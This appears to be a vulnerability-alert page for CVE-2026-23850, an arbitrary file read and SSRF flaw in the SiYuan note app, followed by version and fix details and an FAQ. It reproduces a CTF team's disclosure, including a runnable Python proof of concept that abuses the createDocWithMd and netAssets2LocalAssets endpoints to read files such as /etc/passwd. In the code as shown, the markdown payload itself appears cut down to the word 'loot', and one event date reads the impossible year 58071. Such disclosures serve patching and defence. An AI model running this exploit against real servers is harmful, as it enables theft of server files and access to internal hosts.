CVE-2026-23850: SiYuan vulnerable to arbitrary file read

Published Jan 19, 2026
·
Updated

Summary Markdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access We in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way : )

Please note that we used the latest Version and deployed it via this dockerfile :

Dockerfile: FROM b3log/siyuan

ENV TZ=America/NewYork \ PUID=1000 \ PGID=1000 \ SIYUANACCESSAUTHCODE=SuperSecretPassword RUN mkdir -p /siyuan/workspace

COPY ./startup.sh /opt/siyuan/startup.sh RUN chmod +x /opt/siyuan/startup.sh

EXPOSE 6806

ENTRYPOINT ["sh", "-c", "/opt/siyuan/startup.sh"]

startup.sh sh #!/bin/sh set -e echo "nullctf{secret}" > "/flagrandom.txt" exec ./entrypoint.sh

docker-compose.yaml:

yaml services: main: build: . ports: - 6806:6806 restart: unless-stopped environment: - TZ=America/NewYork - PUID=1000 - PGID=1000 containername: archivistswhisper Details As you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886 in createDocWithMd function the markdown parameter is being passed to the model.CreateWithMarkdown without any sanitization while here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to luteEngine.Md2BlockDOM(md, false) without any sanitization too

PoC Here is a full Python POC ready to run py import requests, sys, os

if len(sys.argv) >= 5 : TARGET = sys.argv[1].rstrip("/") PASSWORD = sys.argv[2] attacktype = sys.argv[3] if attacktype == "LFD": filepath = f"file://{sys.argv[4]}" elif attacktype == "SSRF": filepath = f"{sys.argv[4]}" else: sys.exit(f"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link") TARGET = "http://127.0.0.1:6806" PASSWORD = "SuperSecretPassword" # Workgroup password filepath = "/etc/passwd" # file to read

s = requests.Session()

def login(): s.post(f"{TARGET}/api/system/loginAuth", json={"authCode": PASSWORD, "rememberMe": True})

def listnotebooks(): res = s.post(f"{TARGET}/api/notebook/lsNotebooks").json() notebooks = res["data"]["notebooks"] if not notebooks: raise RuntimeError("No notebooks found – create one in the UI first") notebook = notebooks[0]["id"] return notebook

def filetomd(notebook, filepath): docid = s.post( f"{TARGET}/api/filetree/createDocWithMd", json={ "notebook": notebook, "path": "/pwn", "markdown": f"loot" }, ).json()["data"] return docid

def convertfiletoasset(docid): res = s.post(f"{TARGET}/api/format/netAssets2LocalAssets", json={"id": docid}) # print(f"Debug : convert", res.text)

def getnewfilenamefromassets(filepath): res = s.post(f"{TARGET}/api/file/readDir", json={"path": "/data/assets"}).json()["data"] if attacktype == "LFD": newfilename = f"network-asset-{os.path.splitext(os.path.basename(filepath))[0]}-" else: newfilename = f"network-asset-{os.path.basename(filepath)}-" # print(newfilename) for file in res: # print(file["name"]) if newfilename in file["name"]: return file["name"]

def retrievefilecontent(filename): return s.get(f"{TARGET}/assets/{filename}").text

login() notebook = listnotebooks() docid = filetomd(notebook, filepath) print(f"Debug : Docid", docid) convertfiletoasset(docid) filename = getnewfilenamefromassets(filepath) filecontent = retrievefilecontent(filename) if len(filecontent) > 0 : print("Content : ", filecontent) else: print(f"Failed to get {filename} try to get it manually, probably we failed to predict the new file name")

File read <img width="928" height="333" alt="image" src="https://github.com/user-attachments/assets/8b6c81b9-106d-4d41-beaf-29ee3f6413cb" /> <img width="800" height="143" alt="image" src="https://github.com/user-attachments/assets/87a6fab8-d1a7-4690-b157-4c6250b67b8a" />

SSRF : We spawned a python server at /tmp : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy

<img width="822" height="63" alt="image" src="https://github.com/user-attachments/assets/9842aad2-1ade-45c0-9db1-fc049cf6b4cf" />

Impact As shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : )

Solution

https://github.com/siyuan-note/siyuan/issues/16860

Other sources

SiYuan is a personal knowledge management system. In versions prior to 3.5.4, the markdown feature allows unrestricted server side html-rendering which allows arbitrary file read (LFD). Version 3.5.4 fixes the issue.

MITRE

Affected Software

3 affected componentsFixes available
SiYuan SiYuan<3.5.4
go/github.com/siyuan-note/siyuan/kernel<0.0.0-20260118092326-b2274baba2e1
0.0.0-20260118092326-b2274baba2e1
b3log SiYuan<3.5.4

Event History

Jan 19, 2026
CVE Published
via MITRE·07:52 PM
Data Sourced
via MITRE·07:52 PM
DescriptionWeakness
Data Sourced
via NVD·08:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:15 PM
RemedyAffected Software
Jan 21, 2026
Advisory Published
via GitHub·01:02 AM
Data Sourced
via GitHub·01:02 AM
DescriptionWeaknessAffected Software
Apr 20, 58071
Event
via FIRST·10:52 AM

Frequently Asked Questions

1

What is the severity of CVE-2026-23850?

CVE-2026-23850 has a high severity due to its potential for arbitrary file reading vulnerabilities.

2

How do I fix CVE-2026-23850?

To fix CVE-2026-23850, upgrade to SiYuan version 3.5.4 or later.

3

What versions of SiYuan are affected by CVE-2026-23850?

All versions of SiYuan prior to 3.5.4 are affected by CVE-2026-23850.

4

What kind of vulnerability is CVE-2026-23850?

CVE-2026-23850 is an arbitrary file read vulnerability that occurs due to unrestricted server-side HTML rendering.

5

Is there a known exploit for CVE-2026-23850?

Yes, CVE-2026-23850 can be exploited to read arbitrary files on the server, which poses a significant risk.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203